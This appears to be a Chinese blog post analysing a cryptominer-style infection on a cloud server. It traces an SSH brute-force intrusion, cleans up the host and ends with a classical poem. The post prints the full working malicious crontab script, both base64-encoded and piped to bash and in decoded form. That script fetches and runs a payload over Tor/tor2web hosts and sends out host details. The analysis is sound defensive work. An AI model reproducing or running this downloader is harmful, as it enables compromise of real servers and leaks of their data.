一 背景
早上就收到朋友的短信,提示阿里云机器有恶意病毒执行,一般病毒木马执行喜欢用 crontab,所以先看看 crontab 的内容:
for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done
结果发现可疑 crontab 脚本:
43 * * * * /root/.systemd-service.sh > /dev/null 2>&1 &
二 恶意脚本分析
查看脚本内容:
#!/bin/bash
exec &>/dev/null
echo nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
echo blA4YnlQVUdPd0tqVmZQWlpzcDVvY3RkWEhUV0d5UHFnVmVZODJ6VjFkZTZBWTB5ZEF0Z0VHbW8rSmF1bUVmVgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ3dnp5djJucHRqdXhjcW9pYmVrbHhlc2U0Nmo0dW9uemFhcHd5bDZ3dmhka25qbHFsY29ldTdpZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmZsYXR1c2xpZmlyLmlzIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMCkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSAKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash
第一句没啥好说的,就是 exec 执行的输出和错误输出重定向到黑洞文件,即不输出出错和输出信息.
1 exec &>/dev/null
第二句很奇怪就打印些 base64 内容,转后是乱码,没看到什么东西:
echo nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
重点是第三句:
echo 一串base64| base64 -d|bash
即将这一串 base64 编码的字符串用 base64 解码,然后通过管道通过 bash 执行.
解码下:
1 nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
2 exec &>/dev/null
3 export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
4
5 d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
6 c=$(echo "curl -4fsSLkA- -m200")
7 t=$(echo "wvzyv2nptjuxcqoibeklxese46j4uonzaapwyl6wvhdknjlqlcoeu7id")
8
9 sockz() {
10 n=(doh.defaultroutes.de dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.fla tuslifir.is doh.li dns.digitale-gesellschaft.ch)
11 p=$(echo "dns-query?name=relay.tor2socks.in")
12 s=$($c https://${n[$((RANDOM%10))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
13 }
14
15 fexe() {
16 for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
17 }
18
19 u() {
20 sockz
21 f=/int.$(uname -m)
22 x=./$(date|md5sum|cut -f1 -d-)
23 r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
24 $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
25 chmod +x $x;$x;rm -f $x
26 }
27
28 for h in tor2web.in tor2web.it onion.foundation onion.com.de onion.sh tor2web.su
29 do
30 if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
31 fexe;u $t.$h
32 ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
33 ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
34 else
35 break
36 fi
37 done
- 第一句话仍然是一串疑似 base64 编码,解码也没看到什么特殊地方,我怀疑只是屏蔽些检测软件用的.
- 第二和三句,屏蔽输出和设置环境变量没啥特殊地方.
- 第四句:
d= echo $(grep x:$(id -u): /etc/passwd|cut -d: -f6)
即从/etc/passwd 中获取当前用户的家目录, cut -d: -f6
: cut 是切分,-d 指定切分分隔符为冒号,$(id -u)
获取当前用户的 id,root 一般为 0。
- 第五句为获取执行命令:
curl -4fsSLkA- -m200
参数说明:
-4 即使用 ipv4
-f 连接失败时不显示 http 错误
-s 静默模式。不输出任何东西
-S/--show-error 显示错误
-L 参数会让 HTTP 请求跟随服务器的重定
-k 参数指定跳过 SSL 检测。
-A 参数指定客户端的用户代理标头,即 User-Agent
-m200 设置最大传输时间 200s
- 第 7 行为 echo 输出一串字符串,也许后面用到.
- 第 9 到 13 行为 sockz 函数,随机从域名查询的网站中选择一个进行域名查询:
curl -4fsSLkA- -m200 https://dns.hostux.net/dns-query?name=relay.tor2socks.in
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"
即搜索 ip,tr ' ' '\n'
空格转换行。
grep -Ev [.]0
即过滤掉不包含点号的行,然后进行排序:-ur 降序排序,u 保障唯一。
head -n 1
只取第一个,这种做 cc 控制的域名的 ip 是不停转换的,通过这种方式保障获取到的 ip 是最新的。
- 第 15 到 17 行,测试下,通过一个循环再这些目录下生成一个 i 文件,内容只有 exit,增加执行权限,运行一次后删除,执行一次成功就跳出循环。
-第 19 到 26 行,即 u 函数,cut -f1 -d-
以-为分隔符,取第一个字段。$(date|md5sum|cut -f1 -d-)
即用当前时间生成 md5 码。
脚本:$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)
含义:查下阿里云的外网 IP,然后拼上一堆东西构成一个字符串。
脚本:$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
含义:$c -x socks5h://$s:9050
采用 sock5 代理,代理 ip 是上面获取的 ip,socks5h:// 表示如果代理是域名通过 sock5 代理服务器解析, $t.onion$f
按照我的理解应该是一些鉴权参数信息。
-e$r
即设置 HTTP 的 refer 内容。
-o$x
保存返回内容到文件中。
|| $c $1$f -o$x -e$r
即如果前面没有执行成功,通过这种方式获取内容保存到本地文件中。
chmod +x $x;$x;rm -f $x
执行可执行文件,然后删除。
- 第 30 行到 39 行 是整个脚本的入口,执行一个 for 循环,判断木马文件是否存在,如果不存在,则调用
fexe;
测试执行情况,然后调用u $t.$h
进行木马文件的下载,具体过程见上面的 u 函数的分析,再继续查看进程状态,如果不存在,继续下载执行,连续运行二次。
[root@iZbp10p2g1civrw4ggigvfZ mscms]# ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status
/proc/3879/status
[root@iZbp10p2g1civrw4ggigvfZ mscms]# ps -ef|grep 3879
root 3879 1 0 Feb19 ? 00:00:00 KuZJxv6t
root 18762 3907 0 11:01 pts/0 00:00:00 grep --color=auto 3879
[root@iZbp10p2g1civrw4ggigvfZ mscms]# lsof -p 3879
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
KuZJxv6t 3879 root cwd DIR 253,1 4096 917505 /root
KuZJxv6t 3879 root rtd DIR 253,1 4096 2 /
KuZJxv6t 3879 root txt REG 253,1 32168 950589 /root/5004b390813bc5e00c2a11daedad32cf (deleted)
KuZJxv6t 3879 root 0w REG 253,1 6 131086 /tmp/.X11-unix/01
果然这个恶意的代码已经再执行了,具体干的啥那?通过 lsof 判断,没有发现有外连或打开端口的现象。
三 溯源
3.1 aureport
aureport --auth
23115. 02/16/2021 21:17:32 ? 87.246.7.242 dovecot /usr/libexec/dovecot/auth no 1550853
23116. 02/16/2021 21:17:56 ? 87.246.7.242 dovecot /usr/libexec/dovecot/auth no 1550854
23117. 02/16/2021 21:18:02 ? 87.246.7.226 dovecot /usr/libexec/dovecot/auth no 1550862
....
通过查看认证报告,大量主机连接本主机开源 smtp 和 pop3 服务上,这个服务用的不多,直接干掉。
aureport -i --login |grep yes
排查登录信息:
可疑登录信息
从 47.110.55.79 这个阿里主机登录进来的,时间为:6 点 57分。
3.2 查看 secure 日志
[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}'
121.5.54.240=3
132.232.144.76=1
47.110.55.79=287
确实发现 47.110.55.79 失败了 287 次,看起来很像暴力破解,将其加入到黑名单中:
#! /bin/bash
cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /usr/local/bin/black.txt
for i in `cat /usr/local/bin/black.txt`
do
IP=`echo $i |awk -F= '{print $1}'`
NUM=`echo $i|awk -F= '{print $2}'`
if [ $NUM -gt 20 ];then
grep $IP /etc/hosts.deny > /dev/null
if [ $? -gt 0 ];then
echo "sshd:$IP:deny" >> /etc/hosts.deny
fi
fi
done
3.3 清理
3.3.1 检查 hosts 和 ssh 信息
- /etc/hosts 确实有些乱七八糟的主机,清理掉。
- /root/.ssh/authorized_keys 也没有密钥
-
cd /etc/cron.d 发现可疑文件:
可疑文件
内容如下:
cat 0systemd-service
18 * * * * root /opt/systemd-service.sh > /dev/null 2>&1 &
脚本内容和上面 crontab 里面的一样,直接删除,且删除/opt/systemd-service.sh 文件。
通过 crontab 定位到/root 下面还有一个/root/.systemd-service.sh 恶意脚本也删除掉,内容都是一样的。
- 根据脚本找到启动的进程杀掉:
[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# cat 01
3879
[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# ps -ef|grep 3879
root 3879 1 0 Feb19 ? 00:00:00 KuZJxv6t
root 29242 3907 0 12:18 pts/0 00:00:00 grep --color=auto 3879
[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# lsof -p 3879
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
KuZJxv6t 3879 root cwd DIR 253,1 4096 917505 /root
KuZJxv6t 3879 root rtd DIR 253,1 4096 2 /
KuZJxv6t 3879 root txt REG 253,1 32168 950589 /root/5004b390813bc5e00c2a11daedad32cf (deleted)
KuZJxv6t 3879 root 0w REG 253,1 6 131086 /tmp/.X11-unix/01
[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# kill -9 3879
- 后续持续一段时间观察 crontab 日志
grep "systemd-service.sh" /var/log/cron
四 后续安全措施
通过溯源分析来看,应该是通过 ssh 爆破的方式进入的,为安全起见,还是更改下 sshd 默认端口吧,本来想偷懒的,却经常被中挖矿木马。
五 诗词欣赏
清平乐·村居
朝代:[宋代] 作者:[辛弃疾]
茅檐低小,溪上青青草。醉里吴音相媚好,白发谁家翁媪。
大儿锄豆溪东,中儿正织鸡笼。最喜小儿亡赖,溪头卧剥莲蓬。
网友评论